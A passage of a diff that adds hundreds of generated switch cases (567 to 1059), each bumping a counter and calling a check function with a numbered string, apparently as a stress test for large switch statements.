+ case 567: if (n[567]++ > 0) check ('a string 567'); break;
+ case 568: if (n[568]++ > 0) check ('a string 568'); break;
+ case 569: if (n[569]++ > 0) check ('a string 569'); break;
+ case 570: if (n[570]++ > 0) check ('a string 570'); break;
+ case 571: if (n[571]++ > 0) check ('a string 571'); break;
+ case 572: if (n[572]++ > 0) check ('a string 572'); break;
+ case 573: if (n[573]++ > 0) check ('a string 573'); break;
+ case 574: if (n[574]++ > 0) check ('a string 574'); break;
+ case 575: if (n[575]++ > 0) check ('a string 575'); break;
+ case 576: if (n[576]++ > 0) check ('a string 576'); break;
+ case 577: if (n[577]++ > 0) check ('a string 577'); break;
+ case 578: if (n[578]++ > 0) check ('a string 578'); break;
+ case 579: if (n[579]++ > 0) check ('a string 579'); break;
+ case 580: if (n[580]++ > 0) check ('a string 580'); break;
+ case 581: if (n[581]++ > 0) check ('a string 581'); break;
+ case 582: if (n[582]++ > 0) check ('a string 582'); break;
+ case 583: if (n[583]++ > 0) check ('a string 583'); break;
+ case 584: if (n[584]++ > 0) check ('a string 584'); break;
+ case 585: if (n[585]++ > 0) check ('a string 585'); break;
+ case 586: if (n[586]++ > 0) check ('a string 586'); break;
+ case 587: if (n[587]++ > 0) check ('a string 587'); break;
+ case 588: if (n[588]++ > 0) check ('a string 588'); break;
+ case 589: if (n[589]++ > 0) check ('a string 589'); break;
+ case 590: if (n[590]++ > 0) check ('a string 590'); break;
+ case 591: if (n[591]++ > 0) check ('a string 591'); break;
+ case 592: if (n[592]++ > 0) check ('a string 592'); break;
+ case 593: if (n[593]++ > 0) check ('a string 593'); break;
+ case 594: if (n[594]++ > 0) check ('a string 594'); break;
+ case 595: if (n[595]++ > 0) check ('a string 595'); break;
+ case 596: if (n[596]++ > 0) check ('a string 596'); break;
+ case 597: if (n[597]++ > 0) check ('a string 597'); break;
+ case 598: if (n[598]++ > 0) check ('a string 598'); break;
+ case 599: if (n[599]++ > 0) check ('a string 599'); break;
+ case 600: if (n[600]++ > 0) check ('a string 600'); break;
+ case 601: if (n[601]++ > 0) check ('a string 601'); break;
+ case 602: if (n[602]++ > 0) check ('a string 602'); break;
+ case 603: if (n[603]++ > 0) check ('a string 603'); break;
+ case 604: if (n[604]++ > 0) check ('a string 604'); break;
+ case 605: if (n[605]++ > 0) check ('a string 605'); break;
+ case 606: if (n[606]++ > 0) check ('a string 606'); break;
+ case 607: if (n[607]++ > 0) check ('a string 607'); break;
+ case 608: if (n[608]++ > 0) check ('a string 608'); break;
+ case 609: if (n[609]++ > 0) check ('a string 609'); break;
+ case 610: if (n[610]++ > 0) check ('a string 610'); break;
+ case 611: if (n[611]++ > 0) check ('a string 611'); break;
+ case 612: if (n[612]++ > 0) check ('a string 612'); break;
+ case 613: if (n[613]++ > 0) check ('a string 613'); break;
+ case 614: if (n[614]++ > 0) check ('a string 614'); break;
+ case 615: if (n[615]++ > 0) check ('a string 615'); break;
+ case 616: if (n[616]++ > 0) check ('a string 616'); break;
+ case 617: if (n[617]++ > 0) check ('a string 617'); break;
+ case 618: if (n[618]++ > 0) check ('a string 618'); break;
+ case 619: if (n[619]++ > 0) check ('a string 619'); break;
+ case 620: if (n[620]++ > 0) check ('a string 620'); break;
+ case 621: if (n[621]++ > 0) check ('a string 621'); break;
+ case 622: if (n[622]++ > 0) check ('a string 622'); break;
+ case 623: if (n[623]++ > 0) check ('a string 623'); break;
+ case 624: if (n[624]++ > 0) check ('a string 624'); break;
+ case 625: if (n[625]++ > 0) check ('a string 625'); break;
+ case 626: if (n[626]++ > 0) check ('a string 626'); break;
+ case 627: if (n[627]++ > 0) check ('a string 627'); break;
+ case 628: if (n[628]++ > 0) check ('a string 628'); break;
+ case 629: if (n[629]++ > 0) check ('a string 629'); break;
+ case 630: if (n[630]++ > 0) check ('a string 630'); break;
+ case 631: if (n[631]++ > 0) check ('a string 631'); break;
+ case 632: if (n[632]++ > 0) check ('a string 632'); break;
+ case 633: if (n[633]++ > 0) check ('a string 633'); break;
+ case 634: if (n[634]++ > 0) check ('a string 634'); break;
+ case 635: if (n[635]++ > 0) check ('a string 635'); break;
+ case 636: if (n[636]++ > 0) check ('a string 636'); break;
+ case 637: if (n[637]++ > 0) check ('a string 637'); break;
+ case 638: if (n[638]++ > 0) check ('a string 638'); break;
+ case 639: if (n[639]++ > 0) check ('a string 639'); break;
+ case 640: if (n[640]++ > 0) check ('a string 640'); break;
+ case 641: if (n[641]++ > 0) check ('a string 641'); break;
+ case 642: if (n[642]++ > 0) check ('a string 642'); break;
+ case 643: if (n[643]++ > 0) check ('a string 643'); break;
+ case 644: if (n[644]++ > 0) check ('a string 644'); break;
+ case 645: if (n[645]++ > 0) check ('a string 645'); break;
+ case 646: if (n[646]++ > 0) check ('a string 646'); break;
+ case 647: if (n[647]++ > 0) check ('a string 647'); break;
+ case 648: if (n[648]++ > 0) check ('a string 648'); break;
+ case 649: if (n[649]++ > 0) check ('a string 649'); break;
+ case 650: if (n[650]++ > 0) check ('a string 650'); break;
+ case 651: if (n[651]++ > 0) check ('a string 651'); break;
+ case 652: if (n[652]++ > 0) check ('a string 652'); break;
+ case 653: if (n[653]++ > 0) check ('a string 653'); break;
+ case 654: if (n[654]++ > 0) check ('a string 654'); break;
+ case 655: if (n[655]++ > 0) check ('a string 655'); break;
+ case 656: if (n[656]++ > 0) check ('a string 656'); break;
+ case 657: if (n[657]++ > 0) check ('a string 657'); break;
+ case 658: if (n[658]++ > 0) check ('a string 658'); break;
+ case 659: if (n[659]++ > 0) check ('a string 659'); break;
+ case 660: if (n[660]++ > 0) check ('a string 660'); break;
+ case 661: if (n[661]++ > 0) check ('a string 661'); break;
+ case 662: if (n[662]++ > 0) check ('a string 662'); break;
+ case 663: if (n[663]++ > 0) check ('a string 663'); break;
+ case 664: if (n[664]++ > 0) check ('a string 664'); break;
+ case 665: if (n[665]++ > 0) check ('a string 665'); break;
+ case 666: if (n[666]++ > 0) check ('a string 666'); break;
+ case 667: if (n[667]++ > 0) check ('a string 667'); break;
+ case 668: if (n[668]++ > 0) check ('a string 668'); break;
+ case 669: if (n[669]++ > 0) check ('a string 669'); break;
+ case 670: if (n[670]++ > 0) check ('a string 670'); break;
+ case 671: if (n[671]++ > 0) check ('a string 671'); break;
+ case 672: if (n[672]++ > 0) check ('a string 672'); break;
+ case 673: if (n[673]++ > 0) check ('a string 673'); break;
+ case 674: if (n[674]++ > 0) check ('a string 674'); break;
+ case 675: if (n[675]++ > 0) check ('a string 675'); break;
+ case 676: if (n[676]++ > 0) check ('a string 676'); break;
+ case 677: if (n[677]++ > 0) check ('a string 677'); break;
+ case 678: if (n[678]++ > 0) check ('a string 678'); break;
+ case 679: if (n[679]++ > 0) check ('a string 679'); break;
+ case 680: if (n[680]++ > 0) check ('a string 680'); break;
+ case 681: if (n[681]++ > 0) check ('a string 681'); break;
+ case 682: if (n[682]++ > 0) check ('a string 682'); break;
+ case 683: if (n[683]++ > 0) check ('a string 683'); break;
+ case 684: if (n[684]++ > 0) check ('a string 684'); break;
+ case 685: if (n[685]++ > 0) check ('a string 685'); break;
+ case 686: if (n[686]++ > 0) check ('a string 686'); break;
+ case 687: if (n[687]++ > 0) check ('a string 687'); break;
+ case 688: if (n[688]++ > 0) check ('a string 688'); break;
+ case 689: if (n[689]++ > 0) check ('a string 689'); break;
+ case 690: if (n[690]++ > 0) check ('a string 690'); break;
+ case 691: if (n[691]++ > 0) check ('a string 691'); break;
+ case 692: if (n[692]++ > 0) check ('a string 692'); break;
+ case 693: if (n[693]++ > 0) check ('a string 693'); break;
+ case 694: if (n[694]++ > 0) check ('a string 694'); break;
+ case 695: if (n[695]++ > 0) check ('a string 695'); break;
+ case 696: if (n[696]++ > 0) check ('a string 696'); break;
+ case 697: if (n[697]++ > 0) check ('a string 697'); break;
+ case 698: if (n[698]++ > 0) check ('a string 698'); break;
+ case 699: if (n[699]++ > 0) check ('a string 699'); break;
+ case 700: if (n[700]++ > 0) check ('a string 700'); break;
+ case 701: if (n[701]++ > 0) check ('a string 701'); break;
+ case 702: if (n[702]++ > 0) check ('a string 702'); break;
+ case 703: if (n[703]++ > 0) check ('a string 703'); break;
+ case 704: if (n[704]++ > 0) check ('a string 704'); break;
+ case 705: if (n[705]++ > 0) check ('a string 705'); break;
+ case 706: if (n[706]++ > 0) check ('a string 706'); break;
+ case 707: if (n[707]++ > 0) check ('a string 707'); break;
+ case 708: if (n[708]++ > 0) check ('a string 708'); break;
+ case 709: if (n[709]++ > 0) check ('a string 709'); break;
+ case 710: if (n[710]++ > 0) check ('a string 710'); break;
+ case 711: if (n[711]++ > 0) check ('a string 711'); break;
+ case 712: if (n[712]++ > 0) check ('a string 712'); break;
+ case 713: if (n[713]++ > 0) check ('a string 713'); break;
+ case 714: if (n[714]++ > 0) check ('a string 714'); break;
+ case 715: if (n[715]++ > 0) check ('a string 715'); break;
+ case 716: if (n[716]++ > 0) check ('a string 716'); break;
+ case 717: if (n[717]++ > 0) check ('a string 717'); break;
+ case 718: if (n[718]++ > 0) check ('a string 718'); break;
+ case 719: if (n[719]++ > 0) check ('a string 719'); break;
+ case 720: if (n[720]++ > 0) check ('a string 720'); break;
+ case 721: if (n[721]++ > 0) check ('a string 721'); break;
+ case 722: if (n[722]++ > 0) check ('a string 722'); break;
+ case 723: if (n[723]++ > 0) check ('a string 723'); break;
+ case 724: if (n[724]++ > 0) check ('a string 724'); break;
+ case 725: if (n[725]++ > 0) check ('a string 725'); break;
+ case 726: if (n[726]++ > 0) check ('a string 726'); break;
+ case 727: if (n[727]++ > 0) check ('a string 727'); break;
+ case 728: if (n[728]++ > 0) check ('a string 728'); break;
+ case 729: if (n[729]++ > 0) check ('a string 729'); break;
+ case 730: if (n[730]++ > 0) check ('a string 730'); break;
+ case 731: if (n[731]++ > 0) check ('a string 731'); break;
+ case 732: if (n[732]++ > 0) check ('a string 732'); break;
+ case 733: if (n[733]++ > 0) check ('a string 733'); break;
+ case 734: if (n[734]++ > 0) check ('a string 734'); break;
+ case 735: if (n[735]++ > 0) check ('a string 735'); break;
+ case 736: if (n[736]++ > 0) check ('a string 736'); break;
+ case 737: if (n[737]++ > 0) check ('a string 737'); break;
+ case 738: if (n[738]++ > 0) check ('a string 738'); break;
+ case 739: if (n[739]++ > 0) check ('a string 739'); break;
+ case 740: if (n[740]++ > 0) check ('a string 740'); break;
+ case 741: if (n[741]++ > 0) check ('a string 741'); break;
+ case 742: if (n[742]++ > 0) check ('a string 742'); break;
+ case 743: if (n[743]++ > 0) check ('a string 743'); break;
+ case 744: if (n[744]++ > 0) check ('a string 744'); break;
+ case 745: if (n[745]++ > 0) check ('a string 745'); break;
+ case 746: if (n[746]++ > 0) check ('a string 746'); break;
+ case 747: if (n[747]++ > 0) check ('a string 747'); break;
+ case 748: if (n[748]++ > 0) check ('a string 748'); break;
+ case 749: if (n[749]++ > 0) check ('a string 749'); break;
+ case 750: if (n[750]++ > 0) check ('a string 750'); break;
+ case 751: if (n[751]++ > 0) check ('a string 751'); break;
+ case 752: if (n[752]++ > 0) check ('a string 752'); break;
+ case 753: if (n[753]++ > 0) check ('a string 753'); break;
+ case 754: if (n[754]++ > 0) check ('a string 754'); break;
+ case 755: if (n[755]++ > 0) check ('a string 755'); break;
+ case 756: if (n[756]++ > 0) check ('a string 756'); break;
+ case 757: if (n[757]++ > 0) check ('a string 757'); break;
+ case 758: if (n[758]++ > 0) check ('a string 758'); break;
+ case 759: if (n[759]++ > 0) check ('a string 759'); break;
+ case 760: if (n[760]++ > 0) check ('a string 760'); break;
+ case 761: if (n[761]++ > 0) check ('a string 761'); break;
+ case 762: if (n[762]++ > 0) check ('a string 762'); break;
+ case 763: if (n[763]++ > 0) check ('a string 763'); break;
+ case 764: if (n[764]++ > 0) check ('a string 764'); break;
+ case 765: if (n[765]++ > 0) check ('a string 765'); break;
+ case 766: if (n[766]++ > 0) check ('a string 766'); break;
+ case 767: if (n[767]++ > 0) check ('a string 767'); break;
+ case 768: if (n[768]++ > 0) check ('a string 768'); break;
+ case 769: if (n[769]++ > 0) check ('a string 769'); break;
+ case 770: if (n[770]++ > 0) check ('a string 770'); break;
+ case 771: if (n[771]++ > 0) check ('a string 771'); break;
+ case 772: if (n[772]++ > 0) check ('a string 772'); break;
+ case 773: if (n[773]++ > 0) check ('a string 773'); break;
+ case 774: if (n[774]++ > 0) check ('a string 774'); break;
+ case 775: if (n[775]++ > 0) check ('a string 775'); break;
+ case 776: if (n[776]++ > 0) check ('a string 776'); break;
+ case 777: if (n[777]++ > 0) check ('a string 777'); break;
+ case 778: if (n[778]++ > 0) check ('a string 778'); break;
+ case 779: if (n[779]++ > 0) check ('a string 779'); break;
+ case 780: if (n[780]++ > 0) check ('a string 780'); break;
+ case 781: if (n[781]++ > 0) check ('a string 781'); break;
+ case 782: if (n[782]++ > 0) check ('a string 782'); break;
+ case 783: if (n[783]++ > 0) check ('a string 783'); break;
+ case 784: if (n[784]++ > 0) check ('a string 784'); break;
+ case 785: if (n[785]++ > 0) check ('a string 785'); break;
+ case 786: if (n[786]++ > 0) check ('a string 786'); break;
+ case 787: if (n[787]++ > 0) check ('a string 787'); break;
+ case 788: if (n[788]++ > 0) check ('a string 788'); break;
+ case 789: if (n[789]++ > 0) check ('a string 789'); break;
+ case 790: if (n[790]++ > 0) check ('a string 790'); break;
+ case 791: if (n[791]++ > 0) check ('a string 791'); break;
+ case 792: if (n[792]++ > 0) check ('a string 792'); break;
+ case 793: if (n[793]++ > 0) check ('a string 793'); break;
+ case 794: if (n[794]++ > 0) check ('a string 794'); break;
+ case 795: if (n[795]++ > 0) check ('a string 795'); break;
+ case 796: if (n[796]++ > 0) check ('a string 796'); break;
+ case 797: if (n[797]++ > 0) check ('a string 797'); break;
+ case 798: if (n[798]++ > 0) check ('a string 798'); break;
+ case 799: if (n[799]++ > 0) check ('a string 799'); break;
+ case 800: if (n[800]++ > 0) check ('a string 800'); break;
+ case 801: if (n[801]++ > 0) check ('a string 801'); break;
+ case 802: if (n[802]++ > 0) check ('a string 802'); break;
+ case 803: if (n[803]++ > 0) check ('a string 803'); break;
+ case 804: if (n[804]++ > 0) check ('a string 804'); break;
+ case 805: if (n[805]++ > 0) check ('a string 805'); break;
+ case 806: if (n[806]++ > 0) check ('a string 806'); break;
+ case 807: if (n[807]++ > 0) check ('a string 807'); break;
+ case 808: if (n[808]++ > 0) check ('a string 808'); break;
+ case 809: if (n[809]++ > 0) check ('a string 809'); break;
+ case 810: if (n[810]++ > 0) check ('a string 810'); break;
+ case 811: if (n[811]++ > 0) check ('a string 811'); break;
+ case 812: if (n[812]++ > 0) check ('a string 812'); break;
+ case 813: if (n[813]++ > 0) check ('a string 813'); break;
+ case 814: if (n[814]++ > 0) check ('a string 814'); break;
+ case 815: if (n[815]++ > 0) check ('a string 815'); break;
+ case 816: if (n[816]++ > 0) check ('a string 816'); break;
+ case 817: if (n[817]++ > 0) check ('a string 817'); break;
+ case 818: if (n[818]++ > 0) check ('a string 818'); break;
+ case 819: if (n[819]++ > 0) check ('a string 819'); break;
+ case 820: if (n[820]++ > 0) check ('a string 820'); break;
+ case 821: if (n[821]++ > 0) check ('a string 821'); break;
+ case 822: if (n[822]++ > 0) check ('a string 822'); break;
+ case 823: if (n[823]++ > 0) check ('a string 823'); break;
+ case 824: if (n[824]++ > 0) check ('a string 824'); break;
+ case 825: if (n[825]++ > 0) check ('a string 825'); break;
+ case 826: if (n[826]++ > 0) check ('a string 826'); break;
+ case 827: if (n[827]++ > 0) check ('a string 827'); break;
+ case 828: if (n[828]++ > 0) check ('a string 828'); break;
+ case 829: if (n[829]++ > 0) check ('a string 829'); break;
+ case 830: if (n[830]++ > 0) check ('a string 830'); break;
+ case 831: if (n[831]++ > 0) check ('a string 831'); break;
+ case 832: if (n[832]++ > 0) check ('a string 832'); break;
+ case 833: if (n[833]++ > 0) check ('a string 833'); break;
+ case 834: if (n[834]++ > 0) check ('a string 834'); break;
+ case 835: if (n[835]++ > 0) check ('a string 835'); break;
+ case 836: if (n[836]++ > 0) check ('a string 836'); break;
+ case 837: if (n[837]++ > 0) check ('a string 837'); break;
+ case 838: if (n[838]++ > 0) check ('a string 838'); break;
+ case 839: if (n[839]++ > 0) check ('a string 839'); break;
+ case 840: if (n[840]++ > 0) check ('a string 840'); break;
+ case 841: if (n[841]++ > 0) check ('a string 841'); break;
+ case 842: if (n[842]++ > 0) check ('a string 842'); break;
+ case 843: if (n[843]++ > 0) check ('a string 843'); break;
+ case 844: if (n[844]++ > 0) check ('a string 844'); break;
+ case 845: if (n[845]++ > 0) check ('a string 845'); break;
+ case 846: if (n[846]++ > 0) check ('a string 846'); break;
+ case 847: if (n[847]++ > 0) check ('a string 847'); break;
+ case 848: if (n[848]++ > 0) check ('a string 848'); break;
+ case 849: if (n[849]++ > 0) check ('a string 849'); break;
+ case 850: if (n[850]++ > 0) check ('a string 850'); break;
+ case 851: if (n[851]++ > 0) check ('a string 851'); break;
+ case 852: if (n[852]++ > 0) check ('a string 852'); break;
+ case 853: if (n[853]++ > 0) check ('a string 853'); break;
+ case 854: if (n[854]++ > 0) check ('a string 854'); break;
+ case 855: if (n[855]++ > 0) check ('a string 855'); break;
+ case 856: if (n[856]++ > 0) check ('a string 856'); break;
+ case 857: if (n[857]++ > 0) check ('a string 857'); break;
+ case 858: if (n[858]++ > 0) check ('a string 858'); break;
+ case 859: if (n[859]++ > 0) check ('a string 859'); break;
+ case 860: if (n[860]++ > 0) check ('a string 860'); break;
+ case 861: if (n[861]++ > 0) check ('a string 861'); break;
+ case 862: if (n[862]++ > 0) check ('a string 862'); break;
+ case 863: if (n[863]++ > 0) check ('a string 863'); break;
+ case 864: if (n[864]++ > 0) check ('a string 864'); break;
+ case 865: if (n[865]++ > 0) check ('a string 865'); break;
+ case 866: if (n[866]++ > 0) check ('a string 866'); break;
+ case 867: if (n[867]++ > 0) check ('a string 867'); break;
+ case 868: if (n[868]++ > 0) check ('a string 868'); break;
+ case 869: if (n[869]++ > 0) check ('a string 869'); break;
+ case 870: if (n[870]++ > 0) check ('a string 870'); break;
+ case 871: if (n[871]++ > 0) check ('a string 871'); break;
+ case 872: if (n[872]++ > 0) check ('a string 872'); break;
+ case 873: if (n[873]++ > 0) check ('a string 873'); break;
+ case 874: if (n[874]++ > 0) check ('a string 874'); break;
+ case 875: if (n[875]++ > 0) check ('a string 875'); break;
+ case 876: if (n[876]++ > 0) check ('a string 876'); break;
+ case 877: if (n[877]++ > 0) check ('a string 877'); break;
+ case 878: if (n[878]++ > 0) check ('a string 878'); break;
+ case 879: if (n[879]++ > 0) check ('a string 879'); break;
+ case 880: if (n[880]++ > 0) check ('a string 880'); break;
+ case 881: if (n[881]++ > 0) check ('a string 881'); break;
+ case 882: if (n[882]++ > 0) check ('a string 882'); break;
+ case 883: if (n[883]++ > 0) check ('a string 883'); break;
+ case 884: if (n[884]++ > 0) check ('a string 884'); break;
+ case 885: if (n[885]++ > 0) check ('a string 885'); break;
+ case 886: if (n[886]++ > 0) check ('a string 886'); break;
+ case 887: if (n[887]++ > 0) check ('a string 887'); break;
+ case 888: if (n[888]++ > 0) check ('a string 888'); break;
+ case 889: if (n[889]++ > 0) check ('a string 889'); break;
+ case 890: if (n[890]++ > 0) check ('a string 890'); break;
+ case 891: if (n[891]++ > 0) check ('a string 891'); break;
+ case 892: if (n[892]++ > 0) check ('a string 892'); break;
+ case 893: if (n[893]++ > 0) check ('a string 893'); break;
+ case 894: if (n[894]++ > 0) check ('a string 894'); break;
+ case 895: if (n[895]++ > 0) check ('a string 895'); break;
+ case 896: if (n[896]++ > 0) check ('a string 896'); break;
+ case 897: if (n[897]++ > 0) check ('a string 897'); break;
+ case 898: if (n[898]++ > 0) check ('a string 898'); break;
+ case 899: if (n[899]++ > 0) check ('a string 899'); break;
+ case 900: if (n[900]++ > 0) check ('a string 900'); break;
+ case 901: if (n[901]++ > 0) check ('a string 901'); break;
+ case 902: if (n[902]++ > 0) check ('a string 902'); break;
+ case 903: if (n[903]++ > 0) check ('a string 903'); break;
+ case 904: if (n[904]++ > 0) check ('a string 904'); break;
+ case 905: if (n[905]++ > 0) check ('a string 905'); break;
+ case 906: if (n[906]++ > 0) check ('a string 906'); break;
+ case 907: if (n[907]++ > 0) check ('a string 907'); break;
+ case 908: if (n[908]++ > 0) check ('a string 908'); break;
+ case 909: if (n[909]++ > 0) check ('a string 909'); break;
+ case 910: if (n[910]++ > 0) check ('a string 910'); break;
+ case 911: if (n[911]++ > 0) check ('a string 911'); break;
+ case 912: if (n[912]++ > 0) check ('a string 912'); break;
+ case 913: if (n[913]++ > 0) check ('a string 913'); break;
+ case 914: if (n[914]++ > 0) check ('a string 914'); break;
+ case 915: if (n[915]++ > 0) check ('a string 915'); break;
+ case 916: if (n[916]++ > 0) check ('a string 916'); break;
+ case 917: if (n[917]++ > 0) check ('a string 917'); break;
+ case 918: if (n[918]++ > 0) check ('a string 918'); break;
+ case 919: if (n[919]++ > 0) check ('a string 919'); break;
+ case 920: if (n[920]++ > 0) check ('a string 920'); break;
+ case 921: if (n[921]++ > 0) check ('a string 921'); break;
+ case 922: if (n[922]++ > 0) check ('a string 922'); break;
+ case 923: if (n[923]++ > 0) check ('a string 923'); break;
+ case 924: if (n[924]++ > 0) check ('a string 924'); break;
+ case 925: if (n[925]++ > 0) check ('a string 925'); break;
+ case 926: if (n[926]++ > 0) check ('a string 926'); break;
+ case 927: if (n[927]++ > 0) check ('a string 927'); break;
+ case 928: if (n[928]++ > 0) check ('a string 928'); break;
+ case 929: if (n[929]++ > 0) check ('a string 929'); break;
+ case 930: if (n[930]++ > 0) check ('a string 930'); break;
+ case 931: if (n[931]++ > 0) check ('a string 931'); break;
+ case 932: if (n[932]++ > 0) check ('a string 932'); break;
+ case 933: if (n[933]++ > 0) check ('a string 933'); break;
+ case 934: if (n[934]++ > 0) check ('a string 934'); break;
+ case 935: if (n[935]++ > 0) check ('a string 935'); break;
+ case 936: if (n[936]++ > 0) check ('a string 936'); break;
+ case 937: if (n[937]++ > 0) check ('a string 937'); break;
+ case 938: if (n[938]++ > 0) check ('a string 938'); break;
+ case 939: if (n[939]++ > 0) check ('a string 939'); break;
+ case 940: if (n[940]++ > 0) check ('a string 940'); break;
+ case 941: if (n[941]++ > 0) check ('a string 941'); break;
+ case 942: if (n[942]++ > 0) check ('a string 942'); break;
+ case 943: if (n[943]++ > 0) check ('a string 943'); break;
+ case 944: if (n[944]++ > 0) check ('a string 944'); break;
+ case 945: if (n[945]++ > 0) check ('a string 945'); break;
+ case 946: if (n[946]++ > 0) check ('a string 946'); break;
+ case 947: if (n[947]++ > 0) check ('a string 947'); break;
+ case 948: if (n[948]++ > 0) check ('a string 948'); break;
+ case 949: if (n[949]++ > 0) check ('a string 949'); break;
+ case 950: if (n[950]++ > 0) check ('a string 950'); break;
+ case 951: if (n[951]++ > 0) check ('a string 951'); break;
+ case 952: if (n[952]++ > 0) check ('a string 952'); break;
+ case 953: if (n[953]++ > 0) check ('a string 953'); break;
+ case 954: if (n[954]++ > 0) check ('a string 954'); break;
+ case 955: if (n[955]++ > 0) check ('a string 955'); break;
+ case 956: if (n[956]++ > 0) check ('a string 956'); break;
+ case 957: if (n[957]++ > 0) check ('a string 957'); break;
+ case 958: if (n[958]++ > 0) check ('a string 958'); break;
+ case 959: if (n[959]++ > 0) check ('a string 959'); break;
+ case 960: if (n[960]++ > 0) check ('a string 960'); break;
+ case 961: if (n[961]++ > 0) check ('a string 961'); break;
+ case 962: if (n[962]++ > 0) check ('a string 962'); break;
+ case 963: if (n[963]++ > 0) check ('a string 963'); break;
+ case 964: if (n[964]++ > 0) check ('a string 964'); break;
+ case 965: if (n[965]++ > 0) check ('a string 965'); break;
+ case 966: if (n[966]++ > 0) check ('a string 966'); break;
+ case 967: if (n[967]++ > 0) check ('a string 967'); break;
+ case 968: if (n[968]++ > 0) check ('a string 968'); break;
+ case 969: if (n[969]++ > 0) check ('a string 969'); break;
+ case 970: if (n[970]++ > 0) check ('a string 970'); break;
+ case 971: if (n[971]++ > 0) check ('a string 971'); break;
+ case 972: if (n[972]++ > 0) check ('a string 972'); break;
+ case 973: if (n[973]++ > 0) check ('a string 973'); break;
+ case 974: if (n[974]++ > 0) check ('a string 974'); break;
+ case 975: if (n[975]++ > 0) check ('a string 975'); break;
+ case 976: if (n[976]++ > 0) check ('a string 976'); break;
+ case 977: if (n[977]++ > 0) check ('a string 977'); break;
+ case 978: if (n[978]++ > 0) check ('a string 978'); break;
+ case 979: if (n[979]++ > 0) check ('a string 979'); break;
+ case 980: if (n[980]++ > 0) check ('a string 980'); break;
+ case 981: if (n[981]++ > 0) check ('a string 981'); break;
+ case 982: if (n[982]++ > 0) check ('a string 982'); break;
+ case 983: if (n[983]++ > 0) check ('a string 983'); break;
+ case 984: if (n[984]++ > 0) check ('a string 984'); break;
+ case 985: if (n[985]++ > 0) check ('a string 985'); break;
+ case 986: if (n[986]++ > 0) check ('a string 986'); break;
+ case 987: if (n[987]++ > 0) check ('a string 987'); break;
+ case 988: if (n[988]++ > 0) check ('a string 988'); break;
+ case 989: if (n[989]++ > 0) check ('a string 989'); break;
+ case 990: if (n[990]++ > 0) check ('a string 990'); break;
+ case 991: if (n[991]++ > 0) check ('a string 991'); break;
+ case 992: if (n[992]++ > 0) check ('a string 992'); break;
+ case 993: if (n[993]++ > 0) check ('a string 993'); break;
+ case 994: if (n[994]++ > 0) check ('a string 994'); break;
+ case 995: if (n[995]++ > 0) check ('a string 995'); break;
+ case 996: if (n[996]++ > 0) check ('a string 996'); break;
+ case 997: if (n[997]++ > 0) check ('a string 997'); break;
+ case 998: if (n[998]++ > 0) check ('a string 998'); break;
+ case 999: if (n[999]++ > 0) check ('a string 999'); break;
+ case 1000: if (n[1000]++ > 0) check ('a string 1000'); break;
+ case 1001: if (n[1001]++ > 0) check ('a string 1001'); break;
+ case 1002: if (n[1002]++ > 0) check ('a string 1002'); break;
+ case 1003: if (n[1003]++ > 0) check ('a string 1003'); break;
+ case 1004: if (n[1004]++ > 0) check ('a string 1004'); break;
+ case 1005: if (n[1005]++ > 0) check ('a string 1005'); break;
+ case 1006: if (n[1006]++ > 0) check ('a string 1006'); break;
+ case 1007: if (n[1007]++ > 0) check ('a string 1007'); break;
+ case 1008: if (n[1008]++ > 0) check ('a string 1008'); break;
+ case 1009: if (n[1009]++ > 0) check ('a string 1009'); break;
+ case 1010: if (n[1010]++ > 0) check ('a string 1010'); break;
+ case 1011: if (n[1011]++ > 0) check ('a string 1011'); break;
+ case 1012: if (n[1012]++ > 0) check ('a string 1012'); break;
+ case 1013: if (n[1013]++ > 0) check ('a string 1013'); break;
+ case 1014: if (n[1014]++ > 0) check ('a string 1014'); break;
+ case 1015: if (n[1015]++ > 0) check ('a string 1015'); break;
+ case 1016: if (n[1016]++ > 0) check ('a string 1016'); break;
+ case 1017: if (n[1017]++ > 0) check ('a string 1017'); break;
+ case 1018: if (n[1018]++ > 0) check ('a string 1018'); break;
+ case 1019: if (n[1019]++ > 0) check ('a string 1019'); break;
+ case 1020: if (n[1020]++ > 0) check ('a string 1020'); break;
+ case 1021: if (n[1021]++ > 0) check ('a string 1021'); break;
+ case 1022: if (n[1022]++ > 0) check ('a string 1022'); break;
+ case 1023: if (n[1023]++ > 0) check ('a string 1023'); break;
+ case 1024: if (n[1024]++ > 0) check ('a string 1024'); break;
+ case 1025: if (n[1025]++ > 0) check ('a string 1025'); break;
+ case 1026: if (n[1026]++ > 0) check ('a string 1026'); break;
+ case 1027: if (n[1027]++ > 0) check ('a string 1027'); break;
+ case 1028: if (n[1028]++ > 0) check ('a string 1028'); break;
+ case 1029: if (n[1029]++ > 0) check ('a string 1029'); break;
+ case 1030: if (n[1030]++ > 0) check ('a string 1030'); break;
+ case 1031: if (n[1031]++ > 0) check ('a string 1031'); break;
+ case 1032: if (n[1032]++ > 0) check ('a string 1032'); break;
+ case 1033: if (n[1033]++ > 0) check ('a string 1033'); break;
+ case 1034: if (n[1034]++ > 0) check ('a string 1034'); break;
+ case 1035: if (n[1035]++ > 0) check ('a string 1035'); break;
+ case 1036: if (n[1036]++ > 0) check ('a string 1036'); break;
+ case 1037: if (n[1037]++ > 0) check ('a string 1037'); break;
+ case 1038: if (n[1038]++ > 0) check ('a string 1038'); break;
+ case 1039: if (n[1039]++ > 0) check ('a string 1039'); break;
+ case 1040: if (n[1040]++ > 0) check ('a string 1040'); break;
+ case 1041: if (n[1041]++ > 0) check ('a string 1041'); break;
+ case 1042: if (n[1042]++ > 0) check ('a string 1042'); break;
+ case 1043: if (n[1043]++ > 0) check ('a string 1043'); break;
+ case 1044: if (n[1044]++ > 0) check ('a string 1044'); break;
+ case 1045: if (n[1045]++ > 0) check ('a string 1045'); break;
+ case 1046: if (n[1046]++ > 0) check ('a string 1046'); break;
+ case 1047: if (n[1047]++ > 0) check ('a string 1047'); break;
+ case 1048: if (n[1048]++ > 0) check ('a string 1048'); break;
+ case 1049: if (n[1049]++ > 0) check ('a string 1049'); break;
+ case 1050: if (n[1050]++ > 0) check ('a string 1050'); break;
+ case 1051: if (n[1051]++ > 0) check ('a string 1051'); break;
+ case 1052: if (n[1052]++ > 0) check ('a string 1052'); break;
+ case 1053: if (n[1053]++ > 0) check ('a string 1053'); break;
+ case 1054: if (n[1054]++ > 0) check ('a string 1054'); break;
+ case 1055: if (n[1055]++ > 0) check ('a string 1055'); break;
+ case 1056: if (n[1056]++ > 0) check ('a string 1056'); break;
+ case 1057: if (n[1057]++ > 0) check ('a string 1057'); break;
+ case 1058: if (n[1058]++ > 0) check ('a string 1058'); break;
+ case 1059: if (n[1059]++ > 0) check ('a string 1059'); break;
